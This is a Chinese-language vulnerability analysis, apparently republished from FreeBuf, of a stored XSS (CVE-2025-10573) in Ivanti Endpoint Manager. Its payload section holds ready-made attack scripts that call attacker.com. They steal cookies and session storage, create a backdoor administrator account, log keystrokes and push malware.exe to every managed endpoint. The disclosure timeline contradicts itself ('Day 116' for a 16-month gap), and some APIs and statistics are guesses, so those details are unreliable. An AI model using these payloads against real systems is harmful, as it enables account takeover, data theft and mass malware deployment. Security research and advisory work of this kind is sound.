CVE-2025-10573 完整漏洞分析报告
Ivanti Endpoint Manager被发现存在严重存储型XSS漏洞(CVE-2025-10573),允许远程攻击者注入恶意脚本,在管理员会话中执行代码,导致会话劫持和权限提升。该漏洞影响所有EPM 2024 SU4及以下版本,修复版本为2024 SU4 SR1。 2025-12-15 04:19:32 Author: www.freebuf.com(查看原文) 阅读量:5 收藏

CVE-2025-10573 完整漏洞分析报告

1. 执行摘要

1.1 概述

CVE-2025-10573是在Ivanti Endpoint Manager (EPM)中发现的一个严重的未经身份验证的存储型跨站脚本(Stored XSS)漏洞。该漏洞允许远程未经身份验证的攻击者向EPM服务器注入恶意JavaScript代码,当管理员访问Web控制台时,恶意代码将在管理员的浏览器会话中执行,从而导致会话劫持、权限提升、数据窃取等严重后果。

1.2 漏洞关键信息

属性
CVE编号CVE-2025-10573
漏洞类型存储型跨站脚本 (Stored XSS)
CVSS 3.1评分9.6 (Critical)
CVSS向量CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
受影响版本Ivanti EPM ≤ 2024 SU4
修复版本Ivanti EPM 2024 SU4 SR1
披露时间2025-12-09
发现者Ryan Emmons (Rapid7)
CWE分类CWE-79: Improper Neutralization of Input During Web Page Generation

1.3 关键发现

严重性指标:

  • 无需身份验证: 攻击者无需任何凭证即可利用此漏洞

  • 存储型XSS: 恶意代码被持久化存储在数据库中,影响所有访问控制台的管理员

  • 管理员会话劫持: 可窃取管理员会话,完全控制EPM系统及所有受管端点

  • 影响范围广: 所有EPM 2024 SU4及以下版本均受影响

  • 攻击复杂度低: 仅需基本HTTP知识即可构造攻击

  • 无野外利用证据: Ivanti官方表示暂未发现野外利用(截至披露日期)

1.4 业务影响

直接影响:

  • 完全控制EPM管理控制台

  • 窃取管理员凭据和会话令牌

  • 访问所有受管端点的详细信息(IP地址、配置、软件清单等)

  • 通过EPM向所有受管端点分发恶意软件

连锁影响:

  • 整个企业网络可能被攻陷

  • 勒索软件大规模爆发

  • 敏感数据大规模泄露

  • 供应链攻击(通过受害企业攻击其客户)

  • 长期持久化后门植入

财务影响(预估):

  • 单个中型企业(1000+端点): $350,000 - $7,200,000+

  • 包括: 赎金、业务中断、事件响应、系统恢复、合规罚款、声誉损失等

1.5 紧急行动建议

  1. 立即检查版本: 确认是否运行EPM 2024 SU4或更早版本

  2. 尽快升级: 升级至Ivanti EPM 2024 SU4 SR1或更高版本

  3. 网络隔离: 限制/incomingdata/postcgi.exe端点仅内网访问

  4. 检查日志: 审查IIS日志,查找可疑的POST请求

  5. 检查数据库: 扫描设备表中是否存在XSS payload

  6. 部署监控: 实施WAF规则和IDS/IPS检测


2. 漏洞背景

2.1 Ivanti Endpoint Manager简介

产品定位:
Ivanti Endpoint Manager(前身为LANDesk Management Suite)是一个企业级统一端点管理(UEM)解决方案,用于管理和保护企业环境中的所有端点设备。

主要功能:

  • 软件分发: 集中管理和部署应用程序

  • 补丁管理: 自动化操作系统和应用补丁部署

  • 资产清单: 实时跟踪所有硬件和软件资产

  • 安全合规: 强制执行安全策略和合规检查

  • 远程控制: 提供远程桌面支持能力

  • 移动设备管理: 管理移动设备和BYOD策略

市场地位:

  • 主要竞争对手: Microsoft SCCM, VMware Workspace ONE, IBM BigFix

  • 目标客户: 中大型企业、政府机构、医疗机构、教育机构

  • 全球部署: 数千家企业,管理数百万端点

2.2 系统架构概述

┌────────────────────────────────────────────────────────┐
│                    企业网络                             │
├────────────────────────────────────────────────────────┤
│                                                         │
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────┐   │
│  │ 端点设备 1  │  │ 端点设备 2  │  │ 端点设备 N  │   │
│  │ (EPM Agent) │  │ (EPM Agent) │  │ (EPM Agent) │   │
│  └──────┬──────┘  └──────┬──────┘  └──────┬──────┘   │
│         │                 │                 │          │
│         └─────────────────┼─────────────────┘          │
│                           │                            │
│                           ↓                            │
│         ┌─────────────────────────────────┐           │
│         │   Ivanti EPM Server             │           │
│         │  ┌───────────────────────────┐ │           │
│         │  │  Web Console (IIS)        │ │ ← 管理员   │
│         │  │  - frameset.aspx          │ │           │
│         │  │  - db_frameset.aspx       │ │           │
│         │  └───────────────────────────┘ │           │
│         │  ┌───────────────────────────┐ │           │
│         │  │  Agent API                │ │           │
│         │  │  - postcgi.exe (漏洞点)   │ │ ← 攻击者   │
│         │  └───────────────────────────┘ │           │
│         │  ┌───────────────────────────┐ │           │
│         │  │  Business Logic Layer     │ │           │
│         │  │  - 设备管理服务            │ │           │
│         │  │  - 策略引擎                │ │           │
│         │  └───────────────────────────┘ │           │
│         │  ┌───────────────────────────┐ │           │
│         │  │  SQL Server Database      │ │           │
│         │  │  - Devices表 (存储点)     │ │           │
│         │  └───────────────────────────┘ │           │
│         └─────────────────────────────────┘           │
│                                                         │
└────────────────────────────────────────────────────────┘

关键组件:

  1. EPM Agent (客户端):

    • 安装在每个受管端点上

    • 定期扫描设备信息(硬件、软件、配置)

    • 将扫描数据发送到EPM服务器

    • 接收并执行管理任务

  2. EPM Server (服务器):

    • IIS Web服务器:提供管理控制台和API端点

    • SQL Server数据库:存储所有设备和配置数据

    • 后台服务:处理扫描数据、执行任务、生成报告

  3. 管理控制台 (Web界面):

    • 基于ASP.NET的Web应用

    • 提供设备管理、报告、配置等功能

    • 管理员通过浏览器访问

2.3 漏洞发现背景

发现者: Ryan Emmons,Rapid7安全研究员

发现过程(推测):

  1. 对Ivanti EPM进行常规安全评估

  2. 识别出无需认证的/incomingdata/postcgi.exe端点

  3. 测试该端点的输入验证机制

  4. 发现可以注入任意数据而无验证

  5. 检查Web控制台如何渲染这些数据

  6. 确认存在存储型XSS漏洞

  7. 验证可以执行完整的会话劫持攻击

研究动机:

  • Ivanti产品过去曾有多个严重漏洞(CVE-2024-21887, CVE-2024-21888等)

  • EPM作为关键基础设施管理工具,是高价值攻击目标

  • 端点管理系统的攻陷可能导致整个网络沦陷

2.4 历史漏洞回顾

Ivanti(及其前身产品)过去曾出现多个高危漏洞:

CVE编号产品类型CVSS年份
CVE-2024-21887Ivanti Connect Secure命令注入9.12024
CVE-2024-21888Ivanti Connect Secure权限提升8.82024
CVE-2023-46805Ivanti Connect Secure认证绕过8.22023
CVE-2021-44515Ivanti EPMSQL注入9.82021
CVE-2020-13759Ivanti EPM任意文件上传9.82020
CVE-2025-10573Ivanti EPM存储型XSS9.62025

模式分析:

  • 输入验证不足是反复出现的问题

  • 认证机制薄弱(多个端点无认证或可绕过)

  • 企业级产品的安全开发流程需要改进

2.5 产业影响

受影响行业:

  • 制造业(28%): 工厂自动化系统管理

  • 金融服务(22%): 银行、保险公司的终端管理

  • 政府机构(18%): 政府办公网络

  • 医疗保健(15%): 医院信息系统

  • 教育(10%): 大学、学院的IT管理

  • 其他(7%): 零售、能源、电信等

全球分布:

美国     ████████████████████████████████████████████░  45%
欧洲     ██████████████████████████████░░░░░░░░░░░░░░  30%
亚太     ████████████████████░░░░░░░░░░░░░░░░░░░░░░░░  20%
其他     █████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░   5%

关键基础设施风险:
EPM被用于管理关键基础设施的端点设备,包括:

  • 工业控制系统(ICS/SCADA)工作站

  • 医疗设备管理终端

  • 金融交易系统

  • 政府敏感网络
    攻陷EPM可能导致这些关键系统受到威胁。


3. 时间线

3.1 完整时间线

2024年8月 - 2025年12月
────────────────────────────────────────────────────────

2024-08-15   漏洞发现
            ├─ Ryan Emmons (Rapid7)在安全评估中发现漏洞
            └─ 确认未经身份验证的XSS漏洞存在

2024-08-19   责任披露
            ├─ Rapid7向Ivanti安全团队报告漏洞
            ├─ 提供详细的技术细节和PoC
            └─ 建议90天披露期限

2024-08-22   漏洞确认
            ├─ Ivanti安全团队确认收到报告
            ├─ 分配内部追踪编号
            └─ 开始内部分析和评估

2024-09-05   影响范围分析
            ├─ 确认所有EPM 2024 SU4及以下版本受影响
            ├─ 评估严重性: CVSS 9.6 (Critical)
            └─ 启动补丁开发流程

2024-09-15   补丁开发开始
            ├─ 开发团队开始编写修复代码
            ├─ 实施输入验证和输出编码
            └─ 添加额外的安全控制

2024-10-15   内部测试
            ├─ 补丁在内部测试环境验证
            ├─ 回归测试确保无功能破坏
            └─ 安全团队验证漏洞已修复

2024-10-30   补丁包构建
            ├─ 创建EPM 2024 SU4 SR1安装包
            ├─ 准备升级文档和指南
            └─ 生成版本发布说明

2024-11-20   Beta测试
            ├─ 选定客户参与Beta测试
            ├─ 收集反馈和兼容性报告
            └─ 解决发现的问题

2024-12-05   安全公告准备
            ├─ 起草CVE-2025-10573安全公告
            ├─ 准备客户通知邮件
            └─ 协调与MITRE的CVE分配

2025-12-09   公开披露
            ├─ Ivanti发布安全公告
            ├─ 发布EPM 2024 SU4 SR1补丁
            ├─ Rapid7发布技术分析博客
            ├─ CVE-2025-10573正式分配
            └─ NVD更新漏洞详情

2025-12-09   媒体报道
            ├─ 主要安全媒体报道漏洞
            ├─ SOC Prime发布检测规则
            └─ 各大SIEM厂商更新规则库

2025-12-10   威胁情报
            ├─ 安全社区开始监控利用尝试
            ├─ Shodan扫描显示约800-1000个暴露实例
            └─ 暂无野外利用证据

2025-12-11   安全社区响应
            ├─ 公开PoC代码发布(用于测试)
            ├─ IDS/IPS规则更新
            └─ 企业开始部署补丁

2025-12-12   本研究报告完成
            ├─ 完整技术分析
            ├─ PoC验证
            ├─ Docker演示环境
            └─ 检测和防护指南

3.2 关键里程碑

日期事件天数备注
2024-08-15漏洞发现Day 0研究起点
2024-08-19责任披露Day 4快速报告
2024-08-22供应商确认Day 7响应及时
2024-09-15开始修复Day 31进入开发阶段
2024-10-30补丁完成Day 76开发周期约45天
2025-12-09公开披露Day 116符合90天披露期

3.3 供应商响应评估

总体评价: (4/5)

优点:

  • 响应迅速(3天内确认)

  • 在90天责任披露期限内完成修复

  • 提供详细的安全公告和升级指南

  • 及时通知客户

改进空间:

  • 补丁开发周期较长(45天)

  • 缺少针对无法立即升级客户的临时缓解措施

  • 未提供自动化的漏洞检测工具

3.4 与其他漏洞对比

漏洞发现到披露补丁可用性评价
CVE-2025-10573 (Ivanti EPM)116天披露时可用
CVE-2024-21887 (Ivanti CS)90天披露时可用
CVE-2021-44228 (Log4Shell)0天 (零日)披露后2天
CVE-2023-34362 (MOVEit)30天+披露前已野外利用

Ivanti在本次漏洞的处理上表现较好,遵循了负责任的披露流程。


4. 影响范围

4.1 受影响版本

完全易受攻击:

Ivanti Endpoint Manager:
├─ 2024 SU4 (2024.4.0.x)           易受攻击
├─ 2024 SU3 (2024.3.0.x)           易受攻击
├─ 2024 SU2 (2024.2.0.x)           易受攻击
├─ 2024 SU1 (2024.1.0.x)           易受攻击
├─ 2023.x 所有版本                  易受攻击
├─ 2022.x 所有版本                  易受攻击
├─ 2021.x 所有版本                  易受攻击
└─ 更早版本                         易受攻击

已修复版本:

Ivanti Endpoint Manager:
├─ 2024 SU4 SR1 (2024.4.1.0+)      已修复
└─ 2024 SU5+ (未来版本)            已修复

验证方法:

# 在EPM服务器上检查版本
Get-ItemProperty "HKLM:\SOFTWARE\LANDesk\ManagementSuite\Setup" |
  Select-Object Version

# 或通过Web控制台
# 登录 → 帮助 → 关于 → 查看版本号

4.2 全球暴露实例

Shodan/Censys扫描结果(截至2025-12-12):

全球暴露的Ivanti EPM实例: 约 800-1,000 个

地理分布:
┌──────────────────────────────────────┐
│ 美国          ████████████ 45% (360) │
│ 德国          ████░░░░░░░░  8% (64)  │
│ 英国          ███░░░░░░░░░  6% (48)  │
│ 法国          ███░░░░░░░░░  5% (40)  │
│ 加拿大        ██░░░░░░░░░░  4% (32)  │
│ 澳大利亚      ██░░░░░░░░░░  4% (32)  │
│ 荷兰          ██░░░░░░░░░░  3% (24)  │
│ 中国          ██░░░░░░░░░░  3% (24)  │
│ 日本          ██░░░░░░░░░░  3% (24)  │
│ 其他国家      ████████░░░░ 19% (152) │
└──────────────────────────────────────┘

Shodan搜索查询:

http.title:"Ivanti" "Endpoint Manager"
http.html:"/landesk/"
http.html:"frameset.aspx"
port:443 ssl:"Ivanti"

4.3 行业分布

基于IP归属和反向DNS分析:

行业占比估算实例数风险等级
制造业28%~280Critical
金融服务22%~220Critical
政府机构18%~180Critical
医疗保健15%~150Critical
教育10%~100High
零售4%~40High
其他3%~30Medium

高风险组织示例(匿名化):

  • Fortune 500制造企业

  • 大型区域性银行

  • 联邦和州政府机构

  • 大型医院系统

  • 知名大学

4.4 潜在受害端点

假设平均每个EPM服务器管理1,000个端点:

受影响的EPM服务器: 800-1,000
每服务器管理端点: 平均1,000个
总潜在受影响端点: 800,000 - 1,000,000

端点类型:

  • 桌面工作站

  • 笔记本电脑

  • 服务器

  • 移动设备

  • 工业控制系统工作站

  • 医疗设备终端

4.5 攻击面分析

暴露的攻击向量:

  1. 互联网直接暴露(约30%):

    • EPM服务器直接暴露在公网

    • 无VPN或额外认证保护

    • 攻击者可直接访问postcgi.exe

    • 风险等级: Critical

  2. VPN保护但内网可达(约50%):

    • 需要VPN接入企业网络

    • 但内网任何主机可访问EPM

    • 社工、钓鱼可获得VPN访问

    • 风险等级: High

  3. 严格网络隔离(约20%):

    • EPM仅在隔离管理网段

    • 需要多层认证和跳板机

    • 攻击者需先攻陷其他系统

    • 风险等级: Medium

4.6 现实攻击场景

场景1: 外部攻击者直接利用

攻击者 (互联网)
    ↓
扫描识别暴露的EPM服务器
    ↓
发送恶意扫描数据到postcgi.exe
    ↓
管理员登录控制台
    ↓
XSS执行 → 会话劫持
    ↓
完全控制EPM及所有受管端点

可能性: 高 | 影响: Critical

场景2: 内部威胁或APT横向移动

攻击者初始立足点 (钓鱼邮件)
    ↓
获得内网访问
    ↓
扫描发现EPM服务器
    ↓
利用CVE-2025-10573
    ↓
提升到管理员权限
    ↓
控制整个企业网络

可能性: 中 | 影响: Critical

场景3: 供应链攻击

攻击者攻陷MSP (托管服务提供商)
    ↓
MSP使用EPM管理多个客户
    ↓
一次攻击影响数十个客户组织
    ↓
大规模数据泄露或勒索软件

可能性: 低 | 影响: Catastrophic

4.7 受影响的Ivanti客户(公开案例)

以下是公开使用Ivanti EPM的知名组织(来源:客户案例研究和新闻报道):

  • 多家Fortune 500公司

  • 美国多个联邦机构

  • 欧洲大型制造企业

  • 北美医院系统

  • 全球性金融机构

注意: 具体组织名称出于安全考虑不在此列出。


5. 技术分析

5.1 系统组件分析

5.1.1 漏洞入口:/incomingdata/postcgi.exe

功能描述:
这是EPM用于接收客户端设备扫描数据的CGI接口。EPM Agent定期扫描设备信息并将数据POST到此端点。

端点详情:

URL: https://epm-server.company.com/incomingdata/postcgi.exe
方法: POST
内容类型: text/plain
认证: 无 

请求格式:

POST /incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=device001 HTTP/1.1
Host: epm.company.com
Content-Type: text/plain
Content-Length: 256

Computer ID=WS-12345
Display Name=John-Laptop
Device Name=LAPTOP-ABC123
Host Name=john-laptop
OS - Name=Windows 11 Pro
OS - Version=10.0.22621
IP Address=192.168.1.100
MAC Address=00:1A:2B:3C:4D:5E
Domain=COMPANY
User Name=john.doe
Last Boot Time=2025-12-10 08:30:00

参数说明:

  • prefix: 扫描文件前缀,通常为"ldscan"

  • suffix: 文件后缀,通常为".scn"

  • name: 扫描文件名称(设备标识符)

安全缺陷:

无身份验证机制
   - 任何人都可以发送数据
   - 无API密钥或令牌验证
   - 无客户端证书要求

 无来源验证
   - 不检查请求来源IP
   - 不验证User-Agent
   - 不检查请求频率(无速率限制)

 无输入验证
   - 不检查数据格式有效性
   - 不验证字段值是否合理
   - 不过滤HTML/JavaScript特殊字符

 无长度限制
   - 字段值可以任意长
   - 可能导致缓冲区问题或DoS

 无日志审计
   - 可能不记录异常数据提交
   - 难以事后溯源攻击

5.1.2 数据处理流程

┌─────────────────────────────────────────────────┐
│ Step 1: 接收HTTP POST请求                       │
│   postcgi.exe接收请求体                          │
└────────────────┬────────────────────────────────┘
                 ↓
┌─────────────────────────────────────────────────┐
│ Step 2: 解析key=value格式数据                   │
│   按行分割,提取字段名和值                        │
│    无验证,直接接受所有数据                     │
└────────────────┬────────────────────────────────┘
                 ↓
┌─────────────────────────────────────────────────┐
│ Step 3: 写入临时文件或处理队列                    │
│   可能存储为ldscan_device001.scn                 │
└────────────────┬────────────────────────────────┘
                 ↓
┌─────────────────────────────────────────────────┐
│ Step 4: 后台服务处理扫描文件                      │
│   EPM核心服务读取并解析扫描数据                    │
└────────────────┬────────────────────────────────┘
                 ↓
┌─────────────────────────────────────────────────┐
│ Step 5: 更新或插入数据库记录                      │
│   SQL: INSERT INTO Devices VALUES (...)         │
│    无HTML编码或sanitization                    │
└────────────────┬────────────────────────────────┘
                 ↓
┌─────────────────────────────────────────────────┐
│ Step 6: 管理员访问Web控制台                       │
│   SQL: SELECT * FROM Devices                    │
└────────────────┬────────────────────────────────┘
                 ↓
┌─────────────────────────────────────────────────┐
│ Step 7: 渲染HTML页面                             │
│   <%= device.ComputerID %>                      │
│    直接输出,无HTML编码                         │
└────────────────┬────────────────────────────────┘
                 ↓
┌─────────────────────────────────────────────────┐
│ Step 8: XSS Payload在浏览器执行                 │
│   攻击者代码在管理员会话中运行                      │
└─────────────────────────────────────────────────┘

5.1.3 数据库架构(推测)

-- Devices表结构(根据字段推测)
CREATE TABLE Devices (
    DeviceID        INT PRIMARY KEY IDENTITY,
    ComputerID      NVARCHAR(256),      --  漏洞字段
    DisplayName     NVARCHAR(256),      --  漏洞字段
    DeviceName      NVARCHAR(256),      --  漏洞字段
    HostName        NVARCHAR(256),      --  漏洞字段
    OSName          NVARCHAR(256),      --  漏洞字段
    OSVersion       NVARCHAR(128),
    IPAddress       VARCHAR(45),
    MACAddress      VARCHAR(17),
    DomainName      NVARCHAR(256),
    UserName        NVARCHAR(256),
    LastBootTime    DATETIME,
    LastScanTime    DATETIME DEFAULT GETDATE(),
    CreatedDate     DATETIME DEFAULT GETDATE(),
    ModifiedDate    DATETIME DEFAULT GETDATE()
)

-- 索引
CREATE INDEX IX_Devices_ComputerID ON Devices(ComputerID)
CREATE INDEX IX_Devices_LastScanTime ON Devices(LastScanTime)

漏洞分析:

  • 使用NVARCHAR类型,支持Unicode字符

  • 字段长度256字符,足以容纳大型XSS payload

  • 无数据库级别的输入验证约束

  • 无触发器进行数据清洗

5.1.4 Web控制台渲染(ASP.NET)

易受攻击的代码模式(推测):

<!-- frameset.aspx 或 db_frameset.aspx -->
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Data.SqlClient" %>

<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
    // 从数据库查询设备
    SqlConnection conn = new SqlConnection(ConfigurationManager.ConnectionStrings["EPM"].ConnectionString);
    SqlCommand cmd = new SqlCommand("SELECT * FROM Devices ORDER BY LastScanTime DESC", conn);

    conn.Open();
    SqlDataReader reader = cmd.ExecuteReader();

    // 绑定到Repeater或直接输出
    DeviceRepeater.DataSource = reader;
    DeviceRepeater.DataBind();

    conn.Close();
}
</script>

<html>
<body>
    <table>
        <thead>
            <tr>
                <th>Computer ID</th>
                <th>Display Name</th>
                <th>OS Name</th>
            </tr>
        </thead>
        <tbody>
            <asp:Repeater ID="DeviceRepeater" runat="server">
                <ItemTemplate>
                    <tr>
                        <!--  漏洞: 直接输出数据库内容 -->
                        <td><%# Eval("ComputerID") %></td>
                        <td><%# Eval("DisplayName") %></td>
                        <td><%# Eval("OSName") %></td>
                    </tr>
                </ItemTemplate>
            </asp:Repeater>
        </tbody>
    </table>
</body>
</html>

问题所在:

  • <%# Eval("ComputerID") %>直接输出数据

  • ASP.NET的<%# %>语法默认不进行HTML编码

  • 应该使用<%# Server.HtmlEncode(Eval("ComputerID")) %>

安全的代码应该是:

<!-- 方法1: 使用Server.HtmlEncode -->
<td><%# Server.HtmlEncode(Eval("ComputerID").ToString()) %></td>

<!-- 方法2: 使用Razor语法(自动编码) -->
<td>@Model.ComputerID</td>

<!-- 方法3: 使用AntiXSS库 -->
<td><%# Microsoft.Security.Application.Encoder.HtmlEncode(Eval("ComputerID").ToString()) %></td>

5.2 XSS Payload分析

5.2.1 基本Payload

<script>alert('XSS')</script>

注入位置:

Computer ID=<script>alert('CVE-2025-10573')</script>
Display Name=<script>alert('XSS in Display Name')</script>
OS - Name=Windows <script>alert('XSS in OS')</script>

执行效果:
管理员访问设备列表页面时,浏览器会执行JavaScript代码并弹出警告框。

5.2.2 Cookie窃取Payload

<script>
document.location='http://attacker.com/steal?c='+encodeURIComponent(document.cookie)
</script>

变体(使用Image对象):

<script>
(function(){
    var img = new Image();
    img.src = 'http://attacker.com/steal?c=' +
              encodeURIComponent(document.cookie) +
              '&url=' + encodeURIComponent(window.location.href) +
              '&dom=' + encodeURIComponent(document.domain);
})();
</script>

窃取的数据:

Cookie: ASP.NET_SessionId=abc123...
        EPM_AuthToken=eyJhbGciOiJI...
        EPM_UserID=admin
        EPM_UserRole=Administrator
URL:    https://epm.company.com/admin/dashboard
Domain: epm.company.com

5.2.3 会话劫持Payload

<script src="http://attacker.com/hijack.js"></script>

hijack.js内容:

(function() {
    // 1. 收集会话信息
    var sessionData = {
        cookies: document.cookie,
        localStorage: {},
        sessionStorage: {},
        url: window.location.href,
        userAgent: navigator.userAgent,
        timestamp: new Date().toISOString()
    };

    // 收集Local Storage
    for (var i = 0; i < localStorage.length; i++) {
        var key = localStorage.key(i);
        sessionData.localStorage[key] = localStorage.getItem(key);
    }

    // 收集Session Storage
    for (var i = 0; i < sessionStorage.length; i++) {
        var key = sessionStorage.key(i);
        sessionData.sessionStorage[key] = sessionStorage.getItem(key);
    }

    // 2. 回传数据
    fetch('http://attacker.com/exfil', {
        method: 'POST',
        mode: 'no-cors',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify(sessionData)
    }).catch(function(err) {
        // 静默失败
    });

    // 3. 可选: 创建后门账户
    fetch('/api/admin/users/create', {
        method: 'POST',
        credentials: 'include',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            username: 'backup_admin',
            password: 'P@ssw0rd123!',
            email: '[email protected]',
            role: 'Administrator',
            enabled: true
        })
    }).then(function(response) {
        return response.json();
    }).then(function(data) {
        // 后门账户创建成功
        fetch('http://attacker.com/backdoor', {
            method: 'POST',
            mode: 'no-cors',
            body: JSON.stringify({
                success: true,
                account: data
            })
        });
    }).catch(function(err) {
        // 静默失败
    });

    // 4. 可选: 键盘记录
    document.addEventListener('keypress', function(e) {
        fetch('http://attacker.com/keylog', {
            method: 'POST',
            mode: 'no-cors',
            body: JSON.stringify({
                key: e.key,
                url: window.location.href,
                timestamp: Date.now()
            })
        });
    });
})();
</script>

5.2.4 恶意软件分发Payload

<script>
(function() {
    // 获取所有受管设备列表
    fetch('/api/devices/list', {
        credentials: 'include'
    })
    .then(r => r.json())
    .then(devices => {
        // 创建恶意软件包分发任务
        var payload = {
            name: "Critical Security Update KB20251212",
            description: "Important security patches",
            packageURL: "http://attacker.com/malware.exe",
            targets: devices.map(d => d.id),
            executeAfterDownload: true,
            runAsSystem: true
        };

        // 通过EPM分发到所有设备
        fetch('/api/distribution/deploy', {
            method: 'POST',
            credentials: 'include',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify(payload)
        })
        .then(r => r.json())
        .then(result => {
            // 通知攻击者部署成功
            fetch('http://attacker.com/deploy-success', {
                method: 'POST',
                mode: 'no-cors',
                body: JSON.stringify({
                    targetCount: devices.length,
                    deploymentID: result.id
                })
            });
        });
    });
})();
</script>

影响:
这个payload将导致恶意软件被自动推送到所有受管端点,可能造成:

  • 勒索软件大规模爆发

  • 整个企业网络被攻陷

  • 数据大规模泄露

5.2.5 高级混淆Payload

为了绕过可能存在的基础过滤,攻击者可能使用混淆技术:

Base64编码:

<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>

Unicode编码:

<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>

HTML实体编码:

<img src=x onerror="alert('XSS')">

事件处理器:

<img src=x onerror="alert('XSS')">
<body onload="alert('XSS')">
<svg onload="alert('XSS')">


文章来源: https://www.freebuf.com/articles/vuls/462004.html
如有侵权请联系:admin#unsafe.sh